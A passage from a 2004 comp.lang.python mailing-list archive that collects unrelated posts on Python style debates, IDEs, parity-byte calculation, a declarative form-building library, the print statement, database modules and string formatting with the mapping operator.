disagrees with (you're not by a long shot the only one who uses this,
BTW).  One grabs typos in ones opponents' examples and construes them
as evidence of the inferiority of whatever it is one dislikes about
their example, usually a stylistic quirk or a proposed change.  This is
a dubious argument on the face of it because it is so clearly
selective: when a typo occurs in a stylistically orthodox chunk of
code, it is nearly always regarde as being just a typo, not evidence of
some deeper problem with the style.  To properly ground this argument
one would need to be an honest statistician and consistently account
for typos in both orthodox and unorthodox code; even then, any imputed
evidence against the unorthodox should account for the natural tendency
to make more errors with the unfamiliar than with the familiar, as well
as the impossibility of testing code (something we are constantly
advised to do, both explicitly and implicitly) that uses features not
currently available in the language.

This new excuse for a typo in well-regarded, orthodox examples seems to
rest upon a similarly weak foundation.  At least I cannot ever recall
seeing anyone who had used the above attack retract it when a dozen of
his comrades turned out to have pointed out the same flaw at about the
same time, but surely that is no less proof of the readability of a
usage that one dislikes than it is on one's favorite tricks, eh?  :-/

Ugh!  That's far more words than this deserves, if not that the dubious
argument is being wielded by someone whose opinions deservedly carry a
lot of weight here.

-- 
People make secure systems insecure because
insecure systems do what people want and
secure systems don't.  -- James Grimmelmann


From http  Sat Sep 18 02:14:01 2004
From: http (Paul Rubin)
Date: 17 Sep 2004 23:14:01 -0700
Subject: PyYaml?
References: <2IO2d.1086$HH5.1025@trndny05>
Message-ID: <7xy8j8hzo6.fsf@ruckus.brouhaha.com>

"Chris S." <chrisks at NOSPAM.udel.edu> writes:
> Is there any benefit to Pickle over YAML? Given that Pickle is
> insecure, wouldn't it make more sense to support a secure
> serialization format, one that's even readable to boot, such as YAML?
> There's even a pure Python implementation at www.pyyaml.org

Bleccch!  


From ialbert at mailblocks.com  Tue Sep 14 11:29:46 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Tue, 14 Sep 2004 11:29:46 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <mailman.3310.1095171925.5135.python-list@python.org>
References: <mailman.3261.1095106220.5135.python-list@python.org>	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<mailman.3310.1095171925.5135.python-list@python.org>
Message-ID: <0aidne7t9Or0k9rcRVn-qw@giganews.com>

Carlos Ribeiro wrote:

> On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea

>>My search for a good IDE ended years ago when I started learning C++,
>>and found EditPlus, http://www.editplus.com/  --  $30, free 30 day trial

> Reading your feature list, it seems to be missing project management,
> or to put it simply, to be able to track down what files are part of
> the project without the need to actually walk around the directory
> tree to hunt them down. I'll check it out, nonetheless.

It does have project management. EditPlus is my favorite editor
and every time I try another IDE I find the EditPlus does some things
so much better that I'll go back to it.

Istvan


From p at ulmcnett.com  Thu Sep  2 11:25:10 2004
From: p at ulmcnett.com (Paul McNett)
Date: Thu, 2 Sep 2004 08:25:10 -0700
Subject: age of Python programmers
In-Reply-To: <59e9fd3a040901222338f0a75c@mail.gmail.com>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<822221bb04090109167035d328@mail.gmail.com>
	<59e9fd3a040901222338f0a75c@mail.gmail.com>
Message-ID: <200409020825.10272.p@ulmcnett.com>

Andrew Durdin writes:

> There seem to be a lot of Pythoneers who started with BASIC
> -- I guess that's what came with most "home computers" in
> those days.

I'm 35 now and while I did some BASIC programming back in 
'80-'82 on my Apple ][ 16K system in between playing Castle 
Wolfenstein, Lode Runner, and Wizardry, I come to Python 
programming from a FoxPro background, and have found Python to 
be easy to learn, capable, dynamic, fun to use, easy to read, 
easy to prototype, easy to debug, and did I say fun to use?

Building data-centric 3-tier desktop and web business apps is 
what I'm using Python for, and I'm thrilled with the new 
decimal type and the general improvement of Python at a nice 
and steady rate.

-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From p at ulmcnett.com  Thu Sep 16 21:52:14 2004
From: p at ulmcnett.com (Paul McNett)
Date: Thu, 16 Sep 2004 18:52:14 -0700
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <59e9fd3a04091618344d2d1fa3@mail.gmail.com>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<10kjq35q7n2q28e@corp.supernews.com>
	<59e9fd3a04091618344d2d1fa3@mail.gmail.com>
Message-ID: <200409161852.14408.p@ulmcnett.com>

Andrew Durdin writes:

> I was recently involved in a project which required producing
> excel files programmatically (this was from VB *spew*). I
> started off using COM, but it turned out to be unreasonably
> slow for filling in all the cells that we needed to do; so
> instead we output an XML spreadsheet. It was much faster, and
> simpler in the end.

I used COM to do an Excel spreadsheet once. It was pretty 
complex and took an outrageous amount of processing time. And 
then the client updated Excel and had to call me in because 
something in the COM interface changed.

I wonder if your XML method has a better chance of surviving 
Excel "upgrades". I will certainly try to avoid COM in the 
future.

-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From tjreedy at udel.edu  Thu Sep  2 14:26:29 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 2 Sep 2004 14:26:29 -0400
Subject: Announcing PyCs, a new Python-like language on .Net
References: <mailman.2572.1093751093.5135.python-list@python.org><1093788608.645541@news.commspeed.net><mailman.2712.1094021283.5135.python-list@python.org><7xoekq4ehv.fsf@ruckus.brouhaha.com><gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net><du7llftiv1f.fsf@lehtori.cc.tut.fi><mailman.2750.1094098661.5135.python-list@python.org><du7ekll8bmw.fsf@lehtori.cc.tut.fi>
	<roy-5662B4.09003502092004@reader1.panix.com>
Message-ID: <ch7oko$peq$1@sea.gmane.org>


"Roy Smith" <roy at panix.com> wrote in message 
news:roy-5662B4.09003502092004 at reader1.panix.com...
> Ville Vainio <ville at spammers.com> wrote:
>> I imagine regexps have been around long before perl, though I might be
>> wrong.
>
> Regex's were around long before Perl.  I first saw regex in about 1977
> or so when I was learning Unix v6.  They were used extensively in ed,
> sed, grep, awk, and maybe a few other tools.  Perl grew up sometime in
> the 80's, in an attempt to unify all those tool (plus shell) into a
> single language.

Regexes were invented by Stephen Kleene in the context of formal languages
http://en.wikipedia.org/wiki/Stephen_Kleene
http://en.wikipedia.org/wiki/Regular_expressions
I believe in the 1950s
The * operator once (and still is by some people) called the Kleene star.


Terry J. Reedy





From fluxent at yahoo.com  Thu Sep 16 09:50:09 2004
From: fluxent at yahoo.com (Bill Seitz)
Date: 16 Sep 2004 06:50:09 -0700
Subject: newbie sending hex values over UDP socket
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409100843.79a49a7a@posting.google.com>
	<QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca>
	<e2491a75.0409110433.2e9c00c5@posting.google.com>
	<e2491a75.0409141057.3725fe14@posting.google.com>
	<4147408f$0$65608$a1866201@newsreader.visi.com>
Message-ID: <e2491a75.0409160550.20be6bcf@posting.google.com>

Grant Edwards <grante at visi.com> wrote in message news:<4147408f$0$65608$a1866201 at newsreader.visi.com>...
> On 2004-09-14, Bill Seitz <fluxent at yahoo.com> wrote:
> 
> >> Excellent - now how about calculating a parity-check byte?
> >
> > Here's the definition of the parity byte:
> >
> > The column parity is one (1) byte.  The eight bits of data in this
> > byte re?flect the odd parity of all corresponding bits in the block;
> > i.e. bit 8 of the Column Parity byte is the odd parity of all bit 8's
> > in the entire block.
> > Column parity will be calculated by the sender as follows:
> >
> > (a)	Begin with the value 255.
> >
> > (b)	Exclusive OR the current value with the value of the first (or
> > next) data byte beginning with the header byte.  Repeat until all
> > bytes up to, but not includ?ing, the parity byte have been used.
> >
> > (c)	Send the result in the column parity position.
> 
> # assume "s" is the data for which we want a parity byte
> 
> parityByte = chr(reduce(operator.__xor__,map(ord,s)))

oy, I've never dug into the whole reduce thing. I ended up looping
through a series of '^' operations, which seems to work OK.

Now how about a checksum calc?

"The additive checksum (modulo-65536) of all bytes from the [STX] byte
to the last data byte, inclusive. (not including checksum)"

Just use a modulus '%'?


From carribeiro at gmail.com  Thu Sep 23 12:36:19 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 13:36:19 -0300
Subject: Call for suggestions: Declaring data entry forms using Python
	classes
Message-ID: <864d370904092309367faaae04@mail.gmail.com>

Hello all,

I'm posting this to the list with the intention to form a group of
people interested in this type of solution. I'm not going to spam the
list with it, unless for occasional and relevant announcements. If
you're interested, drop me a note. But if for some reason you think
that this discussion is fine here at the c.l.py, please let me know.

** LONG POST AHEAD **

I'm doing good progress on my form declarative language library. The
idea (for those who haven't read about it) is to be able to specify a
form declaration in the following format:

class ComplexForm(Form):
    class Header(Form):
        nickname = TextBox(length=15, default="")
        password = TextBox(length=10, default="", password=True)
        name     = TextBox(length=40, default="")
    class Comment(Form):
        comments = TextBox(length=200, default="", multiline=True)

This is an experimental approach, with the intention to allow one to
write the form description in pure Python code, with the least
syntactic clutter possible. The main alternative is to use a data
driven approach -- feeding dicts or XML based representation to a
constructor -- but as I said, that's not the goal of this experiment.

I'm already able to properly build the example mentioned above. The
result is a conventional class filled with all attributes, and an
extra <_fields> member which is a ordered list of field object
instances. The metaclass constructor checks for some issues:

1) For the purposes of GUI description, field attributes are
order-dependant. But the dict passed to the metaclass constructor
isn't ordered. My first solution used stack information (using the
inspect module) to solve this problem. Thomas Heller and Andrew Dalke
proposed a simpler solution using a global counter that I've included
in the current incarnation (I'm wondering why did I try that hack
before, this solution is *much* better).

2) The inner classes (Header and Comment, in the example above) are
converted to *instances* of the same name during the construction of
the outer class (ComplexForm, in the example). The goal was to achieve
consistency; if some field members are classes and other instances,
then you have to check types while iterating the _fields structure to
render the GUI -- that's not what I had in mind.

Building GUIs

I'm just starting to work on this part. A renderer object will take
the form as a parameter, and will build the GUI accordingly with the
structure contained there.

To build the GUI, the renderer has to iterate over its fields. It's a
recursive process, because a form can contain other forms, either
declared directly as classes as in the example above, or through
normal attributes. I''m working on a generic iterator interface for
the form, which would allow to proceed without recursion on the
renderer side, but I'm not sure if this is the best approach. I'm
still thinkering with this part of the code. Suggestions are welcome.

#=======================
Enough talk, that's the code. Use it as you want, but please, give it
proper attribution if you're going to use it elsewhere.
#=======================

from inspect import isclass

# auxiliar functions

def getmyposition():
    """
    Returns the position of the caller, relative to the sequence of 
    statements that were executed during class creation.
    
    Three possible methods were evaluated: using a global counter; using 
    a timestamp; or using the line number retrieved from the call stack.
    For all purposes here, a simple counter is enough. It doesn't need 
    to be thread aware, because all that matters is the relative 
    ordering of statements that, by definition, will be executed within 
    the same thread during the class initialization.
    """
    counter = 0
    while True:
        counter += 1
        yield counter

# decorates getmyposition to hide the internal static var
getmyposition = getmyposition().next

def getfields(dct):
    """
    takes a dictionary of class attributes and returns a decorated list 
    containing all valid field instances and their relative position.
    """
    for fname, fobj in dct.items():
        if isinstance(fobj,Component):
            print "found box: ", fname, fobj._mypos
            yield (fobj._mypos, (fname, fobj))
        elif isclass(fobj) and issubclass(fobj,Component):
            print "found container: ", fname, fobj._mypos
            # substitutes the contained class for its instance
            yield (fobj._mypos, (fname, fobj()))
        else:
            print "unknown: ", fname, fobj, type(fobj)
            # returns the original object with tag order = 0
            yield (0, (fname, fobj))
            
def makefieldsdict(dct):
    # build the field list and sort it
    fields = list(getfields(dct))
    fields.sort()
    # undecorate the list and return it converted to dict; the _field
    # attribute is added automatically to refer to the sorted list
    sorted_field_list = [field[1] for field in fields]
    field_dict = dict(sorted_field_list)
    field_dict['_fields'] = [field for field in sorted_field_list
                             if isinstance(field[1],Component)]
    return field_dict
    
# metaclasses

class Container(type):
    def __new__(cls, name, bases, dct):
        # creates the class using only the processed field list
        newclass = type.__new__(cls, name, bases, makefieldsdict(dct))
        newclass._mypos = getmyposition()
        return newclass
        
# Component is the ancestor of all elements in a
# form, including containers and boxes

class Component(object):
    pass
    
# BoxElement is the ancestor of all elements that are
# instantiated as objects inside the container classes

class Box(Component):
    def __init__(self):
        self._mypos = getmyposition()

# a form is a container of other components
        
class Form(Component):
    __metaclass__ = Container
    # I'm trying several versions of the iterator interface, I really don't
    # know which one is going to be useful in real cases -- I'll have to write 
    # more code an try some alternatives first
    
    def iterfields1(self):
        # this iterator returns field objects without recursion
        for fname, fobj in self._fields:
            yield (fname, fobj)

    def iterfields2(self, _level=0):
        # this iterator recursively returns tuples of 
        # (parent, level, iscontainer, name, component)
        for fname, fobj in self._fields:
            if hasattr(fobj, '_fields'):
                yield (self, _level, True, fname, fobj)
                for parent, level, iscont, name, field in
fobj.iterfields2(_level=_level+1):
                    yield (parent, level, iscont, name, field)
            else:
                yield (self, _level, False, fname, fobj)

    def iterfields3(self):
        # this iterator returns a nested list representation that is
        # built recursively
        for fname, fobj in self._fields:
            if hasattr(fobj,'_fields'):
                yield (self, fname, list(fobj.iterfields3()))
            else:
                yield (self, fname, fobj)
                
# data entry controls

class TextBox(Box):
    def __init__(self, length=40, default="", password=False, multiline=False):
        Box.__init__(self)
        self._length    = length
        self._default   = default
        self._password  = password
        self._multiline = multiline

# forms

class UserForm(Form):
    nickname = TextBox(length=15, default="")
    password = TextBox(length=10, default="", password=True)
    name     = TextBox(length=40, default="")

class ComplexForm(Form):
    class Header(Form):
        nickname = TextBox(length=15, default="")
        password = TextBox(length=10, default="", password=True)
        name     = TextBox(length=40, default="")
    class Comment(Form):
        comments = TextBox(length=200, default="", multiline=True)
        summary  = TextBox(length=200, default="", multiline=True)

# simple test for the iterators
x = ComplexForm()
print
print "ComplexForm.iterfields1"
print "\n".join([str(item) for item in x.iterfields1()])
print
print "ComplexForm.iterfields2"
print "\n".join([str(item) for item in x.iterfields2()])
print
print "ComplexForm.iterfields3"
print "\n".join([str(item) for item in x.iterfields3()])
print


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From ptmcg at austin.rr._bogus_.com  Thu Sep  2 09:02:09 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 02 Sep 2004 13:02:09 GMT
Subject: Basic tokenizer
References: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
	<mailman.2754.1094103605.5135.python-list@python.org>
	<dr1ej05htuepi5hr766g0nf6ho1jpe31te@4ax.com>
Message-ID: <lREZc.4858$Xi.2093@fe1.texas.rr.com>

"Andrea Griffini" <agriff at tin.it> wrote in message
news:dr1ej05htuepi5hr766g0nf6ho1jpe31te at 4ax.com...
> On Thu, 2 Sep 2004 08:24:19 +0200, "Miki Tebeka"
> <miki.tebeka at zoran.com> wrote:
>
> >There are several parsing/lexing packages for Python. My favorite is PLY
> >(http://systems.cs.uchicago.edu/ply/).
>
> I gave it a very quick look and I've to say that I was
> impressed... but it wasn't a good impression.
>

I'd be interested in your feedback on this pyparsing example:
http://www.geocities.com/ptmcg/python/fourFn.py.txt

(The "fourFn.py" title is a legacy - this now does 5-function arithmetic
plus trig functions.)

-- Paul




From steve at holdenweb.com  Thu Sep 30 23:11:01 2004
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 30 Sep 2004 23:11:01 -0400
Subject: File handling: The easy and the hard way
In-Reply-To: <415CC700.6070008@bellsouth.net>
References: <pan.2004.09.30.13.56.48.18412@web.de>	<mailman.4141.1096557347.5135.python-list@python.org>
	<wD07d.1810$gk.15@okepread01> <415CC700.6070008@bellsouth.net>
Message-ID: <415CCAC5.1020705@holdenweb.com>

Jeremy Jones wrote:
> Hopefully, I'm not belaboring this.

[...belabors issue at great length :-) ...]

> 
> I hope that I haven't come across as antagonistic as I fear I may have.  
> I greatly respect you, Steve.  You're a great writer and a valuable 
> contributor to this group.  I don't think we're too far off from what 
> the other is saying.  I don't even think I'm too far off from the spirit 
> of what the OP was trying to say.  I just had a problem with what I 
> perceived the OP to be saying (WRT generalization of a solution) and 
> didn't care for how it came across.  I feel better after getting that 
> out.  Hope we can still be friends :-)
> 
Well I certainly don't normally take offense when someone promotes a 
defensible point of view in a reasonable manner, and I don't feel 
inclined to make an exception (no pun intended) in your case.

I don't think our points of view are that far apart either, since we 
both appear (like the majority of the Python community) to prefer 
pragmatism to blindly following rigid rules.

> Mr. Holden, I remain sincerely and respectfully yours,
> 
> Jeremy Jones
> 
I think that probably the OP wasn't criticizing Python in the way you 
believed, but in the final analysis Python is a programming language, 
and it can't take offense. So I try not to take offense on its behalf. 
And thank you for your complements. I'm glad you feel better!

regards
  Steve
-- 
XXX Please note recent change of email address



From quaggy at gmail.com  Wed Sep 15 21:19:16 2004
From: quaggy at gmail.com (Jonathan Wright)
Date: 15 Sep 2004 18:19:16 -0700
Subject: Is this a bug in the windows tempfile.py?
In-Reply-To: <4147d101$0$173$9b622d9e@news.freenet.de>
Message-ID: <ciapmk$ea9@odbk17.prod.google.com>

Is there (and if not, should there be) any way to determine if an
object is file-like?
Or is this getting into protocol-oriented programming. :-)

Jonathan.



From m.a.r.k at gmx.de  Sun Sep 19 13:18:14 2004
From: m.a.r.k at gmx.de (Markus)
Date: Sun, 19 Sep 2004 19:18:14 +0200
Subject: Need to create a soft link to a file
In-Reply-To: <cikdik$rm0$07$1@news.t-online.com>
References: <cikdik$rm0$07$1@news.t-online.com>
Message-ID: <cikf0m$een$06$1@news.t-online.com>

Solved ;-)

I've found the symlink() function which works for me.

Thanks,
Mark


Markus wrote:
> 
> Hello,
> 
> I'm running on Mac OS X and need to create a soft link to a file.
> 
> I tried both makealias() and link(). While makealias creates a Finder 
> alias just fine my application that needs to read the reference file 
> doesn't like this. link() produces 1) a hard link and b) gives me the 
> following error:  OSError: [Errno 45] Operation not supported
> 
> I guess what I'm looking for is a way to call the Unix ln command from 
> within my python program.
> 
> How would I do this?
> 
> Thanks,
> Mark


From belred1 at yahoo.com  Fri Sep 24 21:27:03 2004
From: belred1 at yahoo.com (Bryan)
Date: Sat, 25 Sep 2004 01:27:03 GMT
Subject: theme of the week: tools
In-Reply-To: <mailman.3864.1096040439.5135.python-list@python.org>
References: <mailman.3802.1095960335.5135.python-list@python.org>	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
Message-ID: <4154C965.7020900@yahoo.com>

Carlos Ribeiro wrote:
> I was one of the frequent posters on the many tools/ides/gui threads
> that appeared here over the past weeks. I'm now partly satisfied. My
> search for a good IDE that is usable in my lowend machine is still not
> completed. But I found a good setup using a free editor and PythonWin
> working together.
> 
> I'm using Crimson Editor, a small freeware editor. The most
> interesting part is that it isn't the most featured of all editors
> I've tried; it isn't as powerful as vi or emacs, but has one feature
> that I wanted the most, that is a fairly simple project management
> tool. It simply allows me to organize a list of files that I'm using
> for a project on the left pane. I can click on a file to open it. It's
> amazingly useful when you're dealing with "hot" files stored on
> several different directories, and you don't have to remember where is
> it located, or to manually walk the open file dialog looking for it.
> 
> I'm using PythonWin for testing, mostly because the Windows console is
> so braindead, and because PythonWin help is quick well organized (it's
> about the same that you find in the web, but a little bit more
> convenient).
> 
> I'm also evaluating Wing IDE 2.0; I had a few issues with it that were
> solved, but for some tasks I found it too heavy for my limited
> resources. Anyway, I'm keeping an eye on it.
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 
> 

i do a lot of python (and jython) programming and i use crimson editor and pythonwin also.  in fact, i use crimson 
editor for everything.  i've even associated just about every file type in windows to crimson editor :)


bryan



From __peter__ at web.de  Wed Sep 22 05:15:36 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 22 Sep 2004 11:15:36 +0200
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<loom.20040921T193847-890@post.gmane.org>
	<20040921182934.GA9959@unununium.org>
	<mailman.3673.1095792247.5135.python-list@python.org>
	<1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com>
	<mailman.3703.1095842175.5135.python-list@python.org>
Message-ID: <cirfro$cfq$07$1@news.t-online.com>

Steven Bethard wrote:

> 'Course rather than wrap your expression tuples in a class to define the
> __cmp__ function, it seems like a more reasonable solution might be to
> make the arbitrary cmp decision in the mapping class (the one implemented
> as a BTree).  

Yes, and that would give you a lot more flexibility, as sorting by an
attribute is almost as common as a "natural" sort (Not counting lists
consisting entirely of items of the same type).

> If __cmp__ starts raising TypeErrors, your code could do
> something like:
> 
> def insert(self, val):
>     try:
>         c = cmp(self.val, val)
>     except TypeError:
>         c = -1 # self.val and val were not of the same type
>                # make some arbitrary decision here
>     ... # insert according to cmp result
 
I'd rather pass the comparison function to __init__(self, cmp=cmp) and then
do 

def insert(self, value):
    cmp = self.cmp
    # use cmp to insert value in the appropriate place

You could even provide a classical_compare that compares values like today's
default. I don't think you can seriously call self.cmp() instead of cmp()
more work. If you are concerned about the extra slot for the cmp attribute
of your custom BTree, put the default into the class.

Peter



From tim.golden at viacom-outdoor.co.uk  Fri Sep  3 11:43:42 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Fri, 3 Sep 2004 16:43:42 +0100 
Subject: print with no newline
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A43@iron.ima.umn.edu>

| Tim Golden wrote:
| > [Jp Calderone]
| > | Basically, print is only meant to help people new to the 
| > | language get started ;)  
| > | It often does what will make life easiest for someone who is 
| > | just getting into things, but which is otherwise 
| confusing, expected, 
| > | special-casey, or otherwise undesirable.  I mean, the whole 
| > | existence of the keyword "print" is an inconsistency, right?  
| > | One could quite reasonably expect print to be a function.
| > 
| > This point of view comes up from time to time on the list
| > and for the life of me I can't buy into it. Putting aside
| > the obviously tongue-in-cheek implication that only beginners
| > would use print, I have almost never found print to be
| > "confusing... or otherwise undesirable". It does exactly
| > what I expect it to do with the minimum of syntactic clutter.
| 
|    Have you ever run into or relied on the behavior that started this 
| thread?  I can't imagine how you might deduce that behavior from the 
| rest of print's behavior.

All right, I'll admit... I jumped into this mid-thread, something
that always pains me when other people do it.

|    Let me also clarify - I use print all the time.  It's quite 
| convenient and rarely does something other than what I intend.  That 
| said, almost all my uses of it are for debugging or in the 
| interactive 
| interpreter when investigating some object or behavior.  I can't 
| remember the last time I left it in a real program.

Maybe there's the difference. I use it all the time (well,
reasonably often) in real programs and will no ill-effects
so far, so maybe I'm more (read: too) sensitive when it's
disparaged. 

| 
| > [snip]
| > 
| > I would *not* reasonably expect print to be a function. Why
| > should it be? Certainly any move to remove the print statement
| > from the language or to replace it by a print function would
| > get my thumbs-down (or whichever way round the Romans did it).
| > 
| 
|    Lots of other people expect it to be a function.  I can't 
| count the 
| number of times I've read this in someone's code:
| 
|      print(x)

Might be a question of background: I wouldn't dream of writing
print (x). (Background: BASIC, Modula-2, C, C++, SQL, Python and
sundry others I don't mention). I was really taking issue with 
the "reasonably expect" bit, which seemed a bit too universal.
No intention to bite anyone's head off.

| 
|    That said, I don't propose changing it.

Good. That's a relief.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star Internet. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From skip at pobox.com  Thu Sep 23 16:45:24 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Sep 2004 15:45:24 -0500
Subject: Python and Sybase
In-Reply-To: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
Message-ID: <16723.13796.637472.399332@montanaro.dyndns.org>


    David> What module is most recommended for accessing Sybase from Python?
    David> This one: http://www.object-craft.com.au/projects/sybase/sybase/
    David> ?

If I'm not mistaken, I think that's the only one, barring some sort of ODBC
stuff.

    David> Also, is there any module that provides a generic DB API and can
    David> be hooked to both Sybase and postgresql?  This
    David> (http://www.python.org/peps/pep-0249.html) looks pretty old.

There hasn't been that much change to how relational databases are accessed
in the time since that PEP was finalized.  Do you think something's missing
or was done wrong?  If so, I think the db-sig at python.org list is still alive
and well.

Skip


From adalke at mindspring.com  Sun Sep  5 01:43:33 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 05 Sep 2004 05:43:33 GMT
Subject: docs on for-loop with no __iter__?
In-Reply-To: <mailman.2883.1094340967.5135.python-list@python.org>
References: <mailman.2873.1094321890.5135.python-list@python.org>	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>	<mailman.2879.1094332737.5135.python-list@python.org>	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
Message-ID: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>

Steven Bethard wrote:
> I'm trying to imagine a situation where it makes sense to want the x[i] 
> behavior from __getitem__ but where you don't know the final index.  x[i] 
> suggests random access, so if you don't really have random access, shouldn't 
> you be defining __iter__ instead?


The example I gave was for Python 1.x, which didn't support __iter__.
What I showed was how to support basic forward iteration (for use
in a for loop) in the old-days.

I used the assert check precisely so that the suggestion of
random access breaks when someone tries to use it that way.

> Are there some good examples of classes 
> that allow the x[i] indexing but don't support random access (e.g. you can do 
> only do x[2] after you do x[1])?
> 
> (Obviously your FileReader class was an example of this, but I've assumed this 
> was just an example of how things *could* have been written, not how they 
> actually were.  Please correct me if I'm wrong!)

You say "x[i] indexing" but I don't think that's the right
way to frame the question.  What I wanted was forward iteration
in Python 1.x.  It happened that forward iteration was
implemented only on top of indexing, so I had to hijack the
indexing mechanism to get what I wanted.  But I never thought
of it as "x[i] indexing" only "the hack needed to get forward
iteration working correctly."

I wrote several classes using that technique.  One was a
way to read records from a file, another to get records from
from a database.  They worked, in that I could do things like

for record in FastaReader(open(filename)):
     print record.description

The new-style __iter__ is in all ways better.



				Andrew
				dalke at dalkescientific.com


From helten0007 at yahoo.com  Wed Sep 29 10:47:01 2004
From: helten0007 at yahoo.com (Peter.....)
Date: Wed, 29 Sep 2004 16:47:01 +0200
Subject: Program that can find a find a file for you ?
References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net>
	<mailman.4077.1096467878.5135.python-list@python.org>
Message-ID: <415acac9$0$22718$ba624c82@nntp04.dk.telia.net>

Thanks for your input.

I solved the last few lines and corrected the errors that was in it.
And it does work.
Stay happy.....



"Steve" <lonetwin at gmail.com> wrote in message 
news:mailman.4077.1096467878.5135.python-list at python.org...
> Hi Peter,
>
> On Wed, 29 Sep 2004 11:25:39 +0200, Peter Hansen <helten0007 at yahoo.com> 
> wrote:
>> Im trying to write a program that can be run from the command line.
>> If I want to search for example after a file with the ending .pdf, I 
>> should
>> be able to write in the command line:
>> python  name of my program / the libary to search and what kind of file 
>> it
>> is example a .pdf file
>
> I had to do something like this sometime back so I wrote up a general
> purpose script that would look for certain types of files and call a
> python function, passing the filename as argument to the function.
> This function could be any thing that you would care to define (My
> script incidentally just rename file with *ill formed* names). This is
> roughly the equivalent doing this using the 'find' unix command:
>
> $ find -name "*.ext" -exec (some python function) {} ';'
>
> You can find the function at the ASPN cookbook site:
>
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300411
>
> Hope you find it useful.
>
> Regards
> Steve 




From bokr at oz.net  Fri Sep 10 01:46:23 2004
From: bokr at oz.net (Bengt Richter)
Date: 10 Sep 2004 05:46:23 GMT
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
	<20040909183705.69696290@gypsy.pfortin.com>
	<chqt9b$c4g$0$216.39.172.122@theriver.com>
	<20040910000643.18b43e0f@gypsy.pfortin.com>
Message-ID: <chrf3f$rcc$0$216.39.172.122@theriver.com>

On Fri, 10 Sep 2004 00:06:43 -0400, Pierre Fortin <pfortin at pfortin.com> wrote:

>On 10 Sep 2004 00:42:19 GMT Bengt wrote:
>
>> >I was hoping to use the likes of:  "%(key)*.*f" % map
>> >however, unlike with the non-(key) formats, there appears to be no way
>> >to specify a "*.*" size when a map is used...
>> >
>> Well, you could subclass str and override its __mod__ method ;-)
>> If you had class format(str): ..., you could then write
>>     format('%(key)*.*f") % map
>> and have it do whatever you like.
>
>This must be one of those days when my density goes up.... :^/
>
>Can you fill in the blanks on this...?  Mismatched quotes aside, I just
Oops on the quotes ;-/

>don't seem to grok how map's key gets in there since there is a ")"
>between the format string and "%" -- then, I still don't see how "*.*"
>gets set as it would in: "%*.*f" % (width,max,float)
>
>I'll try to finally get a handle on subclassing/overriding with this.... 
>:>
I was making a quick comment that if you really wanted to you could
intercept all the arguments and interpret them as you wish. The line I wrote
would demand some conventions about what was in the map, or indeed it could
be a custom mapping object. To see the arguments, we can do (starting with
your original post example mapping):

 >>> mapping = {'one':1,'two':2}
 >>> "%(two)d" % mapping
 '2'
 >>> "%(two)6d" % mapping
 '     2'

And you showed that:
 >>> "%(two)*d" % (mapping,6)
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 TypeError: format requires a mapping

Let's see:

 >>> class format(str):
 ...     def __mod__(self, *a, **kw): print repr(self), a, kw
 ...

 >>> format("%(two)*d") % mapping
 '%(two)*d' ({'two': 2, 'one': 1},) {}

But we need an argument for the '*':
 >>> format("%(two)*d") % (mapping,6)
 '%(two)*d' (({'two': 2, 'one': 1}, 6),) {}


Ok, we see that we have the custom string back as self, and a is the args tuple
for the rhs of the % operator, and there are no keyword args.

But we need a way to pick up the '*' values. I think the most straightforward way
would be to have a mapping argument be the first, for %(name)...x lookups, and
optional additional arguments like an ordinary tuple, like

 >>> format('%(key)*.*f') % ({'key':2.3}, 7, 3)
 '%(key)*.*f' (({'key': 2.2999999999999998}, 7, 3),) {}

The intent being like
 >>> '%7.3f'%2.3
